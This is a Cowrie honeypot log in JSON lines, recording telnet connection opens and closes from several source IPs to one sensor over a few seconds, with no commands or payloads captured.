{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45242,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c2517ed2060","protocol":"telnet","message":"New connection: 81.30.157.18:45242 (159.203.135.109:23) [session: 9c2517ed2060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.212763Z"}
{"eventid":"cowrie.session.closed","duration":30.4505398273468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.219265Z","src_ip":"116.118.250.81","session":"b9c3ee586d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52234,"dst_ip":"159.203.135.109","dst_port":23,"session":"de281d64d8dc","protocol":"telnet","message":"New connection: 147.135.136.77:52234 (159.203.135.109:23) [session: de281d64d8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.255979Z"}
{"eventid":"cowrie.session.closed","duration":30.657235622406006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.435463Z","src_ip":"147.135.136.77","session":"744804e200ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95653200149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.515943Z","src_ip":"168.119.91.149","session":"b8a22a12f4cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49994,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cdab05d1f76","protocol":"telnet","message":"New connection: 37.187.24.227:49994 (159.203.135.109:23) [session: 4cdab05d1f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.629807Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57840,"dst_ip":"159.203.135.109","dst_port":23,"session":"d694d0a49db3","protocol":"telnet","message":"New connection: 168.119.91.149:57840 (159.203.135.109:23) [session: d694d0a49db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:02.757717Z"}
{"eventid":"cowrie.session.closed","duration":30.60057020187378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.054622Z","src_ip":"147.135.136.77","session":"891dc6a6ac8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90075421333313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.078809Z","src_ip":"81.30.157.18","session":"44225634db1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962941884994507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.084452Z","src_ip":"81.30.157.18","session":"ea6127536901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57850,"dst_ip":"159.203.135.109","dst_port":23,"session":"812bd134d326","protocol":"telnet","message":"New connection: 168.119.91.149:57850 (159.203.135.109:23) [session: 812bd134d326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.221298Z"}
{"eventid":"cowrie.session.closed","duration":31.586569786071777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.246924Z","src_ip":"168.119.91.149","session":"3af8bc8fd491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45256,"dst_ip":"159.203.135.109","dst_port":23,"session":"aefb62a74734","protocol":"telnet","message":"New connection: 81.30.157.18:45256 (159.203.135.109:23) [session: aefb62a74734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.320241Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57852,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc5372d1985a","protocol":"telnet","message":"New connection: 168.119.91.149:57852 (159.203.135.109:23) [session: bc5372d1985a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.375803Z"}
{"eventid":"cowrie.session.closed","duration":30.773385524749756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.390796Z","src_ip":"147.135.136.77","session":"31f11831e3a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45262,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c5450a6e1ff","protocol":"telnet","message":"New connection: 81.30.157.18:45262 (159.203.135.109:23) [session: 0c5450a6e1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.412466Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48746,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0bc0ffc89b2","protocol":"telnet","message":"New connection: 149.102.133.101:48746 (159.203.135.109:23) [session: c0bc0ffc89b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.662784Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":53370,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a09b846644","protocol":"telnet","message":"New connection: 37.187.24.227:53370 (159.203.135.109:23) [session: 48a09b846644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:03.948888Z"}
{"eventid":"cowrie.session.closed","duration":30.841099500656128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.047443Z","src_ip":"37.187.24.227","session":"2660bcd07973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869411945343018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.054443Z","src_ip":"147.135.136.77","session":"9775bdab64bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52246,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf7f8186600","protocol":"telnet","message":"New connection: 147.135.136.77:52246 (159.203.135.109:23) [session: 2bf7f8186600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.327939Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46492,"dst_ip":"159.203.135.109","dst_port":23,"session":"6431475452c1","protocol":"telnet","message":"New connection: 81.30.157.18:46492 (159.203.135.109:23) [session: 6431475452c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.368784Z"}
{"eventid":"cowrie.session.closed","duration":30.99307894706726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.494226Z","src_ip":"168.119.91.149","session":"e32d3d0dfa2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.794321060180664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.879498Z","src_ip":"147.135.136.77","session":"10fcd7ccd34d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"8511aa33fcd8","protocol":"telnet","message":"New connection: 147.135.136.77:52250 (159.203.135.109:23) [session: 8511aa33fcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.901294Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46504,"dst_ip":"159.203.135.109","dst_port":23,"session":"e82550df00ee","protocol":"telnet","message":"New connection: 81.30.157.18:46504 (159.203.135.109:23) [session: e82550df00ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.982001Z"}
{"eventid":"cowrie.session.closed","duration":31.68742299079895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:04.994953Z","src_ip":"149.102.133.101","session":"f13e53b519e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67541813850403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.032916Z","src_ip":"81.30.157.18","session":"46e8f7f1163e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95981192588806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.045418Z","src_ip":"147.135.136.77","session":"b5de6ba6045b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":36822,"dst_ip":"159.203.135.109","dst_port":23,"session":"251d82e43954","protocol":"telnet","message":"New connection: 46.101.32.143:36822 (159.203.135.109:23) [session: 251d82e43954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.049233Z"}
{"eventid":"cowrie.session.closed","duration":30.57488179206848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.056359Z","src_ip":"81.30.157.18","session":"50d8bbe7280e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46824,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1411f69089c","protocol":"telnet","message":"New connection: 51.79.21.139:46824 (159.203.135.109:23) [session: c1411f69089c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.161050Z"}
{"eventid":"cowrie.session.closed","duration":30.868666887283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.167600Z","src_ip":"168.119.91.149","session":"b7b9934c77d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64420771598816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.171017Z","src_ip":"81.30.157.18","session":"9ded64c6d64b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263370037078857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.196731Z","src_ip":"147.135.136.77","session":"855543500d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57098,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd27ca4f35cb","protocol":"telnet","message":"New connection: 37.187.24.227:57098 (159.203.135.109:23) [session: fd27ca4f35cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.382872Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46556,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a084d8f5235","protocol":"telnet","message":"New connection: 81.30.157.18:46556 (159.203.135.109:23) [session: 1a084d8f5235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.585418Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52256,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c00fa25afbe","protocol":"telnet","message":"New connection: 147.135.136.77:52256 (159.203.135.109:23) [session: 7c00fa25afbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.592830Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"99008a89a825","protocol":"telnet","message":"New connection: 81.30.157.18:46558 (159.203.135.109:23) [session: 99008a89a825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.610021Z"}
{"eventid":"cowrie.session.closed","duration":31.590664386749268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:05.882330Z","src_ip":"81.30.157.18","session":"c5b7d8769e0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70822548866272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.043377Z","src_ip":"37.187.24.227","session":"7ddfd35f8ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89226198196411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.049697Z","src_ip":"149.102.133.101","session":"182907b83e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4748752117157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.064648Z","src_ip":"81.30.157.18","session":"21fedf2b8d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46606,"dst_ip":"159.203.135.109","dst_port":23,"session":"39e569de5932","protocol":"telnet","message":"New connection: 81.30.157.18:46606 (159.203.135.109:23) [session: 39e569de5932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.165797Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59072,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9b23ffcd9a","protocol":"telnet","message":"New connection: 206.189.139.22:59072 (159.203.135.109:23) [session: 3c9b23ffcd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.255632Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57930,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb052408079d","protocol":"telnet","message":"New connection: 168.119.91.149:57930 (159.203.135.109:23) [session: eb052408079d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.364873Z"}
{"eventid":"cowrie.session.closed","duration":30.27365255355835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.490374Z","src_ip":"168.119.91.149","session":"4a50f296d0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49934,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ebe722532a","protocol":"telnet","message":"New connection: 147.135.136.77:49934 (159.203.135.109:23) [session: 15ebe722532a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.505043Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":60282,"dst_ip":"159.203.135.109","dst_port":23,"session":"714192e3c06a","protocol":"telnet","message":"New connection: 173.249.44.46:60282 (159.203.135.109:23) [session: 714192e3c06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.580413Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"2831a0795938","protocol":"telnet","message":"New connection: 82.163.78.83:56300 (159.203.135.109:23) [session: 2831a0795938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.755451Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":38794,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc45afa3cd6","protocol":"telnet","message":"New connection: 46.101.32.143:38794 (159.203.135.109:23) [session: 1dc45afa3cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.807090Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":42608,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb58cdf110ab","protocol":"telnet","message":"New connection: 85.208.100.77:42608 (159.203.135.109:23) [session: bb58cdf110ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:06.910346Z"}
{"eventid":"cowrie.session.closed","duration":30.734159469604492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:07.060040Z","src_ip":"37.187.24.227","session":"89d2ad0a2e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":56514,"dst_ip":"159.203.135.109","dst_port":23,"session":"626186749957","protocol":"telnet","message":"New connection: 82.163.78.83:56514 (159.203.135.109:23) [session: 626186749957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:07.183284Z"}
{"eventid":"cowrie.session.closed","duration":30.765116214752197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:07.549679Z","src_ip":"168.119.91.149","session":"eff7f8318c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061439990997314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:07.593795Z","src_ip":"168.119.91.149","session":"eb87ad4160c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44174,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c0b9018e03","protocol":"telnet","message":"New connection: 85.208.100.77:44174 (159.203.135.109:23) [session: 85c0b9018e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:07.630974Z"}
{"eventid":"cowrie.session.closed","duration":32.772911071777344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:07.899123Z","src_ip":"147.135.136.77","session":"df05bdaad5c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858401775360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.099030Z","src_ip":"81.30.157.18","session":"7461a9291b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611552953720093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.112835Z","src_ip":"81.30.157.18","session":"f99a6acd2268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57934,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa8c20db69a","protocol":"telnet","message":"New connection: 168.119.91.149:57934 (159.203.135.109:23) [session: daa8c20db69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.154899Z"}
{"eventid":"cowrie.session.closed","duration":30.62875247001648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.179206Z","src_ip":"37.187.24.227","session":"bb8600b28568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":35652,"dst_ip":"159.203.135.109","dst_port":23,"session":"033c90d39dc6","protocol":"telnet","message":"New connection: 37.187.24.227:35652 (159.203.135.109:23) [session: 033c90d39dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.185090Z"}
{"eventid":"cowrie.session.closed","duration":31.042091131210327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.198812Z","src_ip":"37.187.24.227","session":"ebbaae373c97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.413626670837402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.232557Z","src_ip":"81.30.157.18","session":"71269b6e1e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57946,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf9d2aee305","protocol":"telnet","message":"New connection: 168.119.91.149:57946 (159.203.135.109:23) [session: baf9d2aee305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.265971Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":45562,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84bb9df4100","protocol":"telnet","message":"New connection: 85.208.100.77:45562 (159.203.135.109:23) [session: f84bb9df4100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.337414Z"}
{"eventid":"cowrie.session.closed","duration":30.343026638031006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.517572Z","src_ip":"168.119.91.149","session":"c2123db70911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46630,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30381b129ff","protocol":"telnet","message":"New connection: 81.30.157.18:46630 (159.203.135.109:23) [session: b30381b129ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.611889Z"}
{"eventid":"cowrie.session.closed","duration":31.6748366355896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:08.898088Z","src_ip":"46.101.32.143","session":"d8fb0a19eb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f6d599085d","protocol":"telnet","message":"New connection: 81.30.157.18:46662 (159.203.135.109:23) [session: e3f6d599085d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.084770Z"}
{"eventid":"cowrie.session.closed","duration":30.932167768478394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.101136Z","src_ip":"149.102.133.101","session":"4b5ec02f227e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02835726737976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.157155Z","src_ip":"147.135.136.77","session":"881d2f15f264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65481925010681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.163009Z","src_ip":"147.135.136.77","session":"f4f14e9db885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57994,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3bc369418d","protocol":"telnet","message":"New connection: 168.119.91.149:57994 (159.203.135.109:23) [session: cc3bc369418d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.171461Z"}
{"eventid":"cowrie.session.closed","duration":30.514302968978882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.233355Z","src_ip":"81.30.157.18","session":"df2970d59ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34180,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a8e5599b823","protocol":"telnet","message":"New connection: 168.119.91.149:34180 (159.203.135.109:23) [session: 7a8e5599b823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.272083Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46672,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3b6de55f5b","protocol":"telnet","message":"New connection: 81.30.157.18:46672 (159.203.135.109:23) [session: 0a3b6de55f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.503521Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34186,"dst_ip":"159.203.135.109","dst_port":23,"session":"85fe2b5353cf","protocol":"telnet","message":"New connection: 168.119.91.149:34186 (159.203.135.109:23) [session: 85fe2b5353cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.535300Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46678,"dst_ip":"159.203.135.109","dst_port":23,"session":"edb34f7c1097","protocol":"telnet","message":"New connection: 81.30.157.18:46678 (159.203.135.109:23) [session: edb34f7c1097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.616284Z"}
{"eventid":"cowrie.session.closed","duration":31.016425132751465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.714615Z","src_ip":"168.119.91.149","session":"50d19a269e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220568656921387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:09.864432Z","src_ip":"168.119.91.149","session":"5ea6d607b584","protocol":"telnet"}
